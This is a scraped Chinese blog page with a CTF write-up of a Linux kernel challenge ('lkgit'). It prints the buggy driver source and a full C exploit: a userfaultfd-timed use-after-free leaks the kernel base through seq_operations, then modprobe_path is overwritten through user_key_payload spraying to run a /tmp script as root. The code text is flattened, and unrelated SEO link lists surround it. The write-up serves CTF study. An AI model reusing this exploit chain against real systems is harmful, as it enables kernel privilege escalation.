当前位置: 首页 > news >正文

自己买主机可以做网站吗php儿童摄影网站源码

自己买主机可以做网站吗,php儿童摄影网站源码,重庆官方网站有哪些,怎么做网站广告古董前言 入门题#xff0c;单纯就是完成每日一道 kernel pwn 的 kpi #x1f600; 题目分析 内核版本#xff1a;v5.10.25#xff0c;可以使用 userfaultfd#xff0c;不存在 cg 隔离开启了 smap/smep/kaslr/kpti 保护开启了 SLAB_HADNERN/RANDOM 保护 题目给了源码…前言 入门题单纯就是完成每日一道 kernel pwn 的 kpi 题目分析 内核版本v5.10.25可以使用 userfaultfd不存在 cg 隔离开启了 smap/smep/kaslr/kpti 保护开启了 SLAB_HADNERN/RANDOM 保护 题目给了源码其实现了一个 light git总的来说整个过程都没有上锁所以对应临界区资源存在竞争漏洞 #include linux/errno.h #include linux/fs.h #include linux/miscdevice.h #include linux/module.h #include linux/miscdevice.h #include linux/slab.h #include../include/lkgit.hhash_object *objects[HISTORY_MAXSZ] {0}; // HISTORY_MAXSZ 0x30 static int find_by_hash(char *hash) {int ix;for (ix 0; ix ! HISTORY_MAXSZ; ix) {if (objects[ix] ! NULL memcmp(hash, objects[ix]-hash, HASH_SIZE) 0)return ix;}return -1; }static void get_hash(char *content, char *buf) {int ix,jx;unsigned unit FILE_MAXSZ / HASH_SIZE;char c;for (ix 0; ix ! HASH_SIZE; ix) {c 0;for(jx 0; jx ! unit; jx) {c ^ content[ix * unit jx];}buf[ix] c;} }static long save_object(hash_object *obj) {int ix;int dup_ix;// first, find conflict of hash// 对应 hash 的 object 是否已经存在存在则释放掉if((dup_ix find_by_hash(obj-hash)) ! -1) {// 仅仅释放了 hash_object里面的 content/message 指针都没有释放:存在内存泄漏问题但是与漏洞利用无关kfree(objects[dup_ix]);objects[dup_ix] NULL;}// assign object// 存储 objectfor (ix 0; ix ! HISTORY_MAXSZ; ix) {if (objects[ix] NULL) {objects[ix] obj;return 0;}}return -LKGIT_ERR_UNKNOWN; }static long lkgit_hash_object(hash_object *reqptr) {long ret -LKGIT_ERR_UNKNOWN;char *content_buf kzalloc(FILE_MAXSZ, GFP_KERNEL); // 0x40char *message_buf kzalloc(MESSAGE_MAXSZ, GFP_KERNEL); // 0x20hash_object *req kzalloc(sizeof(hash_object), GFP_KERNEL); // 0x20if (IS_ERR_OR_NULL(content_buf) || IS_ERR_OR_NULL(message_buf) || IS_ERR_OR_NULL(req))goto end;if (copy_from_user(req, reqptr, sizeof(hash_object)))goto end;if (copy_from_user(content_buf, req-content, FILE_MAXSZ)|| copy_from_user(message_buf, req-message, MESSAGE_MAXSZ))goto end;req-content content_buf;req-message message_buf;// 计算 content_buf 的 hash结果存储在 req-hash 中// content_buf 的大小为 64hash 的大小为 16// 所以这里 hash[idx] content_buf[i] ^ content_buf[i1] ^ content_buf[i2] ^ content_buf[i3]get_hash(content_buf, req-hash);// 返回用户 hash 值if (copy_to_user(reqptr-hash, req-hash, HASH_SIZE)) {goto end;}ret save_object(req);end:return ret; }static long lkgit_get_object(log_object *req) {long ret -LKGIT_ERR_OBJECT_NOTFOUND;char hash_other[HASH_SIZE] {0};char hash[HASH_SIZE];int target_ix;hash_object *target;if (copy_from_user(hash, req-hash, HASH_SIZE))goto end;if ((target_ix find_by_hash(hash)) ! -1) {target objects[target_ix];// 返回 content 给用户if (copy_to_user(req-content, target-content, FILE_MAXSZ))goto end;// validity check of hash// 检查 hashget_hash(target-content, hash_other);if (memcmp(hash, hash_other, HASH_SIZE) ! 0)goto end;if (copy_to_user(req-message, target-message, MESSAGE_MAXSZ)) // stop to bypass kaslrgoto end;if (copy_to_user(req-hash, target-hash, HASH_SIZE))goto end;ret 0;}end:return ret; }static long lkgit_amend_message(log_object *reqptr) {long ret -LKGIT_ERR_OBJECT_NOTFOUND;char buf[MESSAGE_MAXSZ];log_object req {0};int target_ix;hash_object *target;if(copy_from_user(req, reqptr-hash, HASH_SIZE))goto end;if ((target_ix find_by_hash(req.hash)) ! -1) {target objects[target_ix];// save message temporarily// 修改 messageif (copy_from_user(buf, reqptr-message, MESSAGE_MAXSZ)) // stop to arb_writegoto end;// return old information of objectret lkgit_get_object(reqptr);// amend messagememcpy(target-message, buf, MESSAGE_MAXSZ);}end:return ret; }static long lkgit_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {switch(cmd){case LKGIT_HASH_OBJECT:return lkgit_hash_object((hash_object *)arg);case LKGIT_GET_OBJECT:return lkgit_get_object((log_object*)arg);case LKGIT_AMEND_MESSAGE:return lkgit_amend_message((log_object*)arg);default:return -LKGIT_ERR_UNIMPLEMENTED;}; }static const struct file_operations lkgit_fops {.owner THIS_MODULE,.unlocked_ioctl lkgit_ioctl, };static struct miscdevice lkgit_device {.minor MISC_DYNAMIC_MINOR,.name lkgit,.fops lkgit_fops, };static int __init lkgit_init(void) {return misc_register(lkgit_device); }static void __exit lkgit_exit(void) {misc_deregister(lkgit_device); }module_init(lkgit_init); module_exit(lkgit_exit); MODULE_AUTHOR(TSGCTF); MODULE_LICENSE(GPL);题目主要维护的结构体如下 typedef struct {char hash[HASH_SIZE];char *content;char *message; } hash_object;typedef struct {char hash[HASH_SIZE];char content[FILE_MAXSZ];char message[MESSAGE_MAXSZ]; } log_object;通过源码可以看到这里保存的是 hash_object 结构体然后 content kmalloc-64message kmalloc-32hash_object kmalloc-32所以这里 message / hash_object 在同一个 slab-cache 中 然后通过源码可以发现对堆块的释放仅仅在 save_object 函数中存在 static long save_object(hash_object *obj) {int ix;int dup_ix;// first, find conflict of hash// 对应 hash 的 object 是否已经存在存在则释放掉if((dup_ix find_by_hash(obj-hash)) ! -1) {// 仅仅释放了 hash_object里面的 content/message 指针都没有释放:存在内存泄漏问题但是与漏洞利用无关kfree(objects[dup_ix]);objects[dup_ix] NULL;}// assign object// 存储 objectfor (ix 0; ix ! HISTORY_MAXSZ; ix) {if (objects[ix] NULL) {objects[ix] obj;return 0;}}return -LKGIT_ERR_UNKNOWN; }而且这里只是释放了 hash_object而 content / message 对应的内存都没有释放这里其实也算是一个 bug。而 save_object 是在 lkgit_hash_object 中调用的每次保存创建的 hash_object 时都会检查 objects 数组中是否存在相同 hash 的 hash_object如果存在则会把原来的释放掉 而前面说了整个过程都没有上锁所以可以在执行其它操作时在 save_object 中将原来的 hash_object 释放掉这时可能会导致 UAF 漏洞利用 题目开启了 kaslr所以第一步就是去 bypass kaslr这里主要利用 lkgit_get_object 函数 static long lkgit_get_object(log_object *req) {long ret -LKGIT_ERR_OBJECT_NOTFOUND;char hash_other[HASH_SIZE] {0};char hash[HASH_SIZE];int target_ix;hash_object *target;if (copy_from_user(hash, req-hash, HASH_SIZE))goto end;if ((target_ix find_by_hash(hash)) ! -1) {target objects[target_ix];// 返回 content 给用户if (copy_to_user(req-content, target-content, FILE_MAXSZ))goto end;// validity check of hash// 检查 hashget_hash(target-content, hash_other);if (memcmp(hash, hash_other, HASH_SIZE) ! 0)goto end;if (copy_to_user(req-message, target-message, MESSAGE_MAXSZ)) // 【1】 stop to bypass kaslrgoto end;if (copy_to_user(req-hash, target-hash, HASH_SIZE)) // 【2】goto end;ret 0;}end:return ret; }这里用户传入的是 log_object 结构体 typedef struct {char hash[HASH_SIZE];char content[FILE_MAXSZ];char message[MESSAGE_MAXSZ]; } log_object;我们可以在【1】处使用 userfaultfd 使得暂停然后释放掉 target在堆喷 seq_operations 占据释放后的 target那么恢复执行后在【2】处就可以泄漏 kbase此时复制的 hash 就是 seq_operations 的前 0x10 字节 后面笔者打的是 modprobe_path这里主要利用 lkgit_amend_message 函数 static long lkgit_amend_message(log_object *reqptr) {long ret -LKGIT_ERR_OBJECT_NOTFOUND;char buf[MESSAGE_MAXSZ];log_object req {0};int target_ix;hash_object *target;if(copy_from_user(req, reqptr-hash, HASH_SIZE))goto end;if ((target_ix find_by_hash(req.hash)) ! -1) {target objects[target_ix];// save message temporarily// 修改 messageif (copy_from_user(buf, reqptr-message, MESSAGE_MAXSZ)) // 【1】 stop to arb_writegoto end;// return old information of objectret lkgit_get_object(reqptr);// amend messagememcpy(target-message, buf, MESSAGE_MAXSZ); // 【2】}end:return ret; }同样的道理在【1】处利用 userfaultfd 使其暂停下来然后释放掉 target此时堆喷 user_key_payload并伪造 message 字段为 modprobe_path那么恢复执行后在 【2】处就是往 modprobe_path 中写入数据 最后 exp 如下 #ifndef _GNU_SOURCE #define _GNU_SOURCE #endif#include stdio.h #include unistd.h #include stdlib.h #include fcntl.h #include signal.h #include string.h #include stdint.h #include sys/mman.h #include sys/syscall.h #include sys/ioctl.h #include sched.h #include linux/keyctl.h #include ctype.h #include pthread.h #include sys/types.h #include linux/userfaultfd.h #include sys/sem.h #include semaphore.h #include poll.h #include sys/ipc.h #include sys/msg.h #include asm/ldt.h #include sys/shm.h #include sys/wait.h #include sys/socket.h #include linux/if_packet.hvoid err_exit(char *msg) {perror(msg);sleep(2);exit(EXIT_FAILURE); }void fail_exit(char *msg) {printf(\033[31m\033[1m[x] Error at: \033[0m%s\n, msg);sleep(2);exit(EXIT_FAILURE); }void info(char *msg) {printf(\033[32m\033[1m[] %s\n\033[0m, msg); }void hexx(char *msg, size_t value) {printf(\033[32m\033[1m[] %s: %#lx\n\033[0m, msg, value); }void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 (uint64_t *) addr;uint8_t *buf8 (uint8_t *) addr;if (desc ! NULL) {printf(\033[33m[*] %s:\n\033[0m, desc);}for (int i 0; i len / 8; i 4) {printf( %04x, i * 8);for (int j 0; j 4; j) {i j len / 8 ? printf( 0x%016lx, buf64[i j]) : printf( );}printf( );for (int j 0; j 32 j i * 8 len; j) {printf(%c, isprint(buf8[i * 8 j]) ? buf8[i * 8 j] : .);}puts();} }/* bind the process to specific core */ void bind_core(int core) {cpu_set_t cpu_set;CPU_ZERO(cpu_set);CPU_SET(core, cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), cpu_set);printf(\033[34m\033[1m[*] Process binded to core \033[0m%d\n, core); }#define LKGIT_HASH_OBJECT 0xdead0001 #define LKGIT_AMEND_MESSAGE 0xdead0003 #define LKGIT_GET_OBJECT 0xdead0004#define LKGIT_ERR_UNIMPLEMENTED 0xdead1000 #define LKGIT_ERR_OBJECT_NOTFOUND 0xdead1001 #define LKGIT_ERR_UNKNOWN 0xdead1100#define FILE_MAXSZ 0x40 #define MESSAGE_MAXSZ 0x20 #define HISTORY_MAXSZ 0x30#define HASH_SIZE 0x10typedef struct {char hash[HASH_SIZE];char *content;char *message; } hash_object;typedef struct {char hash[HASH_SIZE];char content[FILE_MAXSZ];char message[MESSAGE_MAXSZ]; } log_object;int fd; uint64_t kbase; uint64_t koffset; char ghash[HASH_SIZE]; char gcontent[FILE_MAXSZ]; char gmessage[MESSAGE_MAXSZ];void add(char* hash, char* content, char* message) {hash_object o { .content content, .message message };ioctl(fd, LKGIT_HASH_OBJECT, o);memcpy(hash, o.hash, HASH_SIZE); }void show(char* hash, char* content, char* message) {log_object o { 0 };memcpy(o.hash, hash, HASH_SIZE);ioctl(fd, LKGIT_GET_OBJECT, o);memcpy(content, o.content, FILE_MAXSZ); // memcpy(message, o.message, MESSAGE_MAXSZ); }void amend(char* hash, char* content, char* message) {log_object o { 0 };memcpy(o.hash, hash, HASH_SIZE);memcpy(o.message, message, MESSAGE_MAXSZ);ioctl(fd, LKGIT_GET_OBJECT, o);memcpy(content, o.content, FILE_MAXSZ); }int key_alloc(char *description, char *payload, size_t plen) {return syscall(__NR_add_key, user, description, payload, plen,KEY_SPEC_PROCESS_KEYRING); }void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler) {long uffd;struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;uffd syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);if (uffd 0) perror([X] syscall for __NR_userfaultfd), exit(-1);uffdio_api.api UFFD_API;uffdio_api.features 0;if (ioctl(uffd, UFFDIO_API, uffdio_api) 0) puts([X] ioctl-UFFDIO_API), exit(-1);uffdio_register.range.start (long long)addr;uffdio_register.range.len len;uffdio_register.mode UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, uffdio_register) 0) puts([X] ioctl-UFFDIO_REGISTER), exit(-1);if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) 0)puts([X] pthread_create at register_userfaultfd), exit(-1); }char copy_src[0x1000]; void* handler1(void* arg) {struct uffd_msg msg;struct uffdio_copy uffdio_copy;long uffd (long)arg;for(;;){int res;struct pollfd pollfd;pollfd.fd uffd;pollfd.events POLLIN;if (poll(pollfd, 1, -1) 0) puts([X] error at poll), exit(-1);res read(uffd, msg, sizeof(msg));if (res 0) puts([X] EOF on userfaultfd), exit(-1);if (res -1) puts([X] read uffd in fault_handler_thread), exit(-1);if (msg.event ! UFFD_EVENT_PAGEFAULT) puts([X] Not pagefault), exit(-1);puts([] Now in userfaultfd handler1);#define SEQ_NUMS 0x30int seq_fds[SEQ_NUMS];memset(gcontent, 0, FILE_MAXSZ);add(ghash, gcontent, gmessage);for (int i 0; i 0x20; i) {seq_fds[i] open(/proc/self/stat, O_RDONLY);if (seq_fds[i] 0) err_exit(open /proc/self/stat);}uffdio_copy.src (long long)copy_src;uffdio_copy.dst (long long)msg.arg.pagefault.address (~0xFFF);uffdio_copy.len 0x1000;uffdio_copy.mode 0;uffdio_copy.copy 0;if (ioctl(uffd, UFFDIO_COPY, uffdio_copy) 0) puts([X] ioctl-UFFDIO_COPY), exit(-1);} }void* handler2(void* arg) {struct uffd_msg msg;struct uffdio_copy uffdio_copy;long uffd (long)arg;for(;;){int res;struct pollfd pollfd;pollfd.fd uffd;pollfd.events POLLIN;if (poll(pollfd, 1, -1) 0) puts([X] error at poll), exit(-1);res read(uffd, msg, sizeof(msg));if (res 0) puts([X] EOF on userfaultfd), exit(-1);if (res -1) puts([X] read uffd in fault_handler_thread), exit(-1);if (msg.event ! UFFD_EVENT_PAGEFAULT) puts([X] Not pagefault), exit(-1);puts([] Now in userfaultfd handler2);#define KEY_NUMS 0x30char desc[0x10];uint64_t buf[4];int key_ids[KEY_NUMS];buf[0]buf[1]buf[2]buf[3] koffset 0xffffffff81c3cb20;memset(ghash, 0, HASH_SIZE);memcpy(gcontent, ABCD, 4);add(ghash, gcontent, gmessage);for (int i 0; i KEY_NUMS; i) {sprintf(desc, %s%d, k, i);key_ids[i] key_alloc(desc, buf, 8);if (key_ids[i] 0) err_exit(key_alloc);}memcpy(copy_src, /tmp/x, strlen(/tmp/x));uffdio_copy.src (long long)copy_src;uffdio_copy.dst (long long)msg.arg.pagefault.address (~0xFFF);uffdio_copy.len 0x1000;uffdio_copy.mode 0;uffdio_copy.copy 0;if (ioctl(uffd, UFFDIO_COPY, uffdio_copy) 0) puts([X] ioctl-UFFDIO_COPY), exit(-1);} }void get_flag(){system(echo -ne #!/bin/sh\n/bin/chmod 777 /home/user/flag /tmp/x);system(chmod x /tmp/x);system(echo -ne \\xff\\xff\\xff\\xff /tmp/dummy);system(chmod x /tmp/dummy);system(/tmp/dummy);sleep(0.3);system(cat /home/user/flag);exit(0); }int main(int argc, char** argv, char** envp) {bind_core(0);char buf[0x1000] { 0 };char hash[HASH_SIZE] { 0 };char content[FILE_MAXSZ] { 0 };char message[MESSAGE_MAXSZ] { 0 };pthread_t thr1, thr2;char* uffd1_buf, *uffd2_buf;fd open(/dev/lkgit, O_RDONLY);if (fd 0) err_exit(open /dev/lkgit);uffd1_buf mmap(NULL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);uffd2_buf mmap(NULL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);if (uffd1_buf MAP_FAILED || uffd2_buf MAP_FAILED) err_exit(mmap for uffd_buf);register_userfaultfd(thr1, uffd1_buf0x1000, 0x1000, handler1);register_userfaultfd(thr2, uffd2_buf0x1000, 0x1000, handler2);memset(content, 0, FILE_MAXSZ);add(hash, content, message);log_object* o (log_object*)(uffd1_buf 0x1000 - HASH_SIZE - FILE_MAXSZ);memcpy(o-hash, hash, HASH_SIZE);ioctl(fd, LKGIT_GET_OBJECT, o);binary_dump(LEAK DATA, o-hash, HASH_SIZE);koffset *(uint64_t*)(o-hash);if (koffset0xfff ! 0xc20) fail_exit(bypase kaslr);koffset - 0xffffffff811adc20;kbase 0xffffffff81000000 koffset;printf([] koffset: %#llx\n, koffset);memcpy(content, ABCD, 4);add(hash, content, message);o (log_object*)(uffd2_buf 0x1000 - HASH_SIZE - FILE_MAXSZ);memcpy(o-hash, hash, HASH_SIZE);ioctl(fd, LKGIT_AMEND_MESSAGE, o);get_flag();puts([] EXP NERVER END);return 0; }效果如下 总结 题目比较简单userfaultfd 的艺术其实基本用不了了但是我发现我越来越依赖 modprobe_path 了然后 user_key_payload 真是一个比较完美的堆喷对象
http://www.tj-hxxt.cn/news/224701.html

相关文章:

  • 建设电商网站报价网络广告推广
  • 如何架设网站服务器学生个人网页制作代码
  • 做空间的网站网络服务商机构域名是什么
  • 电子商务网站建设需求分析报告PC网站开发的意义
  • 公司网站主机流量30g每月够用吗深圳市网站建设公司设计
  • 黑龙江省建设集团有限公司网站首页团购网站建设
  • wordpress更改后台宁波seo怎么做推广渠道
  • flash打开网站源码家装公司哪家比较好
  • 低价网站建设哪家更好网站服务器 数据库服务器
  • 江阴哪家做网站便宜网页禁止访问怎么能打开
  • h5模板网站免费app推广拉新一手渠道
  • 外贸cms建站重庆网站建设网站建设
  • flash做ppt的模板下载网站茂名免费网站建设
  • 网站页面设计特点分销网站建立
  • 凡科建站小程序做关于家乡的网站
  • 浦东新区网站推广公司长治网站设计制作网站
  • php网站后台上传图片有没有推荐到首页的功能用自己的电脑做服务器建网站
  • 青羊区企业网站建设策划网站建设网站需要什么软件
  • 金华网站建设方案策划滑块验证wordpress
  • 菏泽市建设局网站电话号码明企科技网站建设系统
  • 网站私信界面wordpress 免插件实现
  • 最新仿5173游戏装备交易网站 游戏币交易平台源码整合支付接口北京网站建设佳v询 lotlek 能上词
  • 网站优化要做哪些工作网站建站去哪找客户
  • 拍卖网站开发多少钱杭州网络科技公司排名
  • 火炬开发区网站建设外贸平台有哪些是免费的
  • 网站建设完成后为何无法运营下去有没有专门做花鸟鱼虫的网站
  • linux 网站备份个人开小公司的流程
  • 网站开发项目报告代做网页制作网站
  • 阿里云做网站教程上海大良网站建设
  • 淘宝联盟的网站怎么做牡丹江到林口火车时刻表